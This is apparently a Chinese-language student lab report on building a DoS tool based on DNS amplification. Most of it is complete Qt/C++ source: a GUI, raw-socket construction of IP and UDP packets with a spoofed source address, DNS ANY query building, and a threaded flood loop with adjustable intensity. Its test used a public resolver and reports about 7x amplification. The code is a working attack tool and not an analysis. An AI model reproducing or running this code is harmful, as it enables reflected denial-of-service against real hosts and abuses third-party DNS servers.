DOS+DNS放大攻擊工具編寫
1.前言：
DOS攻擊原理：傳送大量的資料包消耗目標主機資源，使其無法正常工作。
DNS放大攻擊的原理：偽造DNS資料包，向DNS伺服器傳送域名查詢報文了，而DNS伺服器返回的應答報文則會發送給被攻擊主機。放大體現在請求DNS回覆的型別為ANY，攻擊者向伺服器請求的包長度為69個位元組，而伺服器向被攻擊主機回覆的ANY型別DNS包長度為535位元組，大約放大了7倍。
本次實驗實現的是DOS+DNS放大攻擊，在傳輸層使用UDP協議，應用層使用DNS協議，程式有介面，接受使用者輸入，使用者還能調節發包的速度改變攻擊強度。
2.程式框圖：
3.DOS+DNS簡易介面的設計
新增5個文字框，用來接受使用者輸入的被攻擊的ip，傳送的埠，伺服器ip，傳送介面名稱，查詢的域名。
新增一個滑塊用來控制攻擊的強度。
新增兩個按鈕控制攻擊的開始和停止。
核心程式碼是attack按鈕槽函式的實現，接受輸入，並呼叫攻擊函式。
void Widget::on_attack_pushButton_clicked()
{
QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();
QByteArray ifnamestr = ui->ifname_Edit->text().toLatin1();
QByteArray dnsipstr = ui->dns_Edit->text().toLatin1();
QByteArray domainstr = ui->Domain_Edit->text().toLatin1();
dosattack=
new DosAttack(dstipstr,ifnamestr,ui->port_spinBox->value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr);
dosattack->start();
}
4.構造傳送
因為我們要偽造源IP，傳送DNS請求，所以我們的報文應該從IP頭部開始構造，一直到UDP報文的資料部分。這裡分為兩個部分，IP頭部和UDP頭部作為一個部分，UDP的資料即DNS報文作為一個部分。
（1）IP偽首部+IP頭部+UDP頭部
UDP包在網路傳輸的時候要計算校驗和，需要用到IP偽首部，IP偽首部在網路中不傳輸，只用作校驗和的計算。我們構造兩個資料結構，udpbuf填充UDP頭部包括IP頭部、udpfhrd填充IP偽首部。核心程式碼在sendudp函式裡填充資料，以及檢驗和checksum函式的實現。
//IP頭部+UDP頭部
struct udpbuf
{
struct ip iph;
struct udphdr udp;
};
//IP偽首部
struct udpfhrd
{
struct in_addr ip_src;
struct in_addr ip_dst;
char zero;
char protocal;
short len;
};
//檢驗和函式
unsigned short checksum(unsigned short * buffer, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buffer++;
size -=sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum>>16)+ (cksum&0xffff);
cksum += (cksum>>16);
return (unsigned short)(~cksum);
}
//udp傳送函式
void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname,
char*data,int datalen)
{
int buflen = sizeof(udpbuf)+datalen;
char buf[buflen];
struct udpbuf *ubuf = (struct udpbuf *)buf;
struct sockaddr_ll toaddr;
struct in_addr targetIP,srcIP;
struct ifreq ifr;
int skfd;
if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
exit(1);
}
bzero(&toaddr, sizeof(toaddr));
bzero(&ifr, sizeof(ifr));
memcpy(ifr.ifr_name,ifname,strlen(ifname));
ioctl(skfd, SIOCGIFINDEX,&ifr);
toaddr.sll_ifindex = ifr.ifr_ifindex;
ubuf->iph.ip_v = IPVERSION;
ubuf->iph.ip_hl= sizeof(struct ip)>>2;
ubuf->iph.ip_tos = 0;
ubuf->iph.ip_len = htons(buflen);
ubuf->iph.ip_id = 0;
ubuf->iph.ip_off = 0;
ubuf->iph.ip_ttl = MAXTTL;
ubuf->iph.ip_p = IPPROTO_UDP;
ubuf->iph.ip_sum = 0;
inet_pton(AF_INET,dst_ip,&targetIP);
ubuf->iph.ip_dst = targetIP;
inet_pton(AF_INET,src_ip,&srcIP);
ubuf->iph.ip_src = srcIP;
ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip));
ubuf->udp.source = htons(src_port);
ubuf->udp.dest = htons(dst_port);
ubuf->udp.len = htons(sizeof(struct udphdr) + datalen);
ubuf->udp.check = 0;
memcpy(buf + sizeof(struct udpbuf),data,datalen);
int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1);
char checksumbuf[csbuflen] ;
struct udpfhrd * fhrd = (struct udpfhrd *)checksumbuf;
fhrd->ip_dst = ubuf->iph.ip_dst;
fhrd->ip_src = ubuf->iph.ip_src;
fhrd->zero = 0;
fhrd->protocal = ubuf->iph.ip_p;
fhrd->len = ubuf->udp.len;
memcpy((checksumbuf+sizeof(struct udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen);
if(datalen % 2 != 0)
{
checksumbuf[csbuflen-1] = 0;
}
ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen);
toaddr.sll_family = AF_INET;
sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));
close(skfd);
}
（2）DNS報文部分
同樣構造一個數據結構 dnshdr來填充DNS報文，注意放大攻擊的請求型別是ANY。
這一部分的核心是在DNS傳送函式SendDns填充資料，以及查詢名的轉化，在DNS報文裡查詢名的儲存格式是3www5baidu3com,使用者提交的資料格式是www.baidu.com。
//DNS前12位元組
struct dnshdr
{
unsigned short id;
unsigned short bz;
unsigned short wtcount;
unsigned short zyCount;
unsigned short sqCount;
unsigned short ewCount;
};
//DNS可變部分
struct questtype
{
unsigned short dnsType;
unsigned short dnsClass;
};
//sendDns函式，函式最後呼叫sendudp函式，將資料整合到sendudp函式中。
void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain)
{
QList <QByteArray> domainlist= domain.split('.');
QByteArray domainName;
for (int i = 0; i<domainlist.length();i++)
{
domainName += domainlist.at(i).length();
domainName += domainlist.at(i);
}
domainName += '\0';
int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype);
char buf[bufflen];
struct dnshdr * dnsh;
struct questtype * qtype;
dnsh = (struct dnshdr*)buf;
qtype= (struct questtype*)(buf +sizeof(struct dnshdr)+domainName.length());
dnsh->id = rand();
dnsh->bz = htons(0x0100);
dnsh->wtcount= htons(1);
dnsh->zyCount = htons(0);
dnsh->sqCount = htons(0);
dnsh->ewCount = htons(0);
memcpy(buf+sizeof(struct dnshdr),domainName.data(),domainName.length());
qtype->dnsType = htons(255);
qtype->dnsClass = htons(1);
sendudp(srcf_ip,dns,src_port, 53,ifname,buf,bufflen);
}
5.DNS放大攻擊實現
這一部分建立一個DnsAttack類，實現DNS攻擊，並通過usleep（Level）控制發包的速度，從而改變攻擊的強度。
class DosAttack:public QThread
{
public:
DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain);
bool running = true;
protected:
void run();
private:
QByteArray dstipstr;
QByteArray ifnamestr;
QByteArray Dnsstr;
int Port;
int Level;
QByteArray Domainstr;
};
DosAttack::DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain)
{
dstipstr = dstip;
ifnamestr = ifname;
Port = port;
Dnsstr =dns;
Domainstr = domain;
Level =(10-level)*50;
}
void DosAttack::run()
{
char * dstip = dstipstr.data();
char * ifname = ifnamestr.data();\
char * dns = Dnsstr.data();
while(running == true)
{
SendDns(ifname,dstip,Port,dns,Domainstr);
usleep(Level);
}
}
6.實驗截圖
執行的介面，偽造172.20.218.233發出DNS請求。
通過wireshark抓包工具看到我們的DNS請求包已經成功發出，包的長度為69個位元組，請求型別為ANY。
在目標主機開啟wireshark，接受到來自8.8.8.8傳送來的應答包，可以看到包長度為535個位元組，放大了7倍。
調節攻擊的強度為5
wireshark分析速度，峰值約為1000
調節攻擊的強度為10
wireshark分析速度，峰值約為3500
那麼我們的DOS攻擊和DNS放大攻擊兩大功能就成功實現了。
7.實驗總結
本次實驗使用QT作為程式開發的框架，實現了DOS和DNS放大攻擊程式的編寫，對網路資料包，網路程式設計以及網路安全有了更加深刻的理解，網路簡單易用的設計原理，使得攻擊者可以輕易偽造資料。在重要資料傳輸的時候，要使用更加安全的協議如TCP，HTTPS等。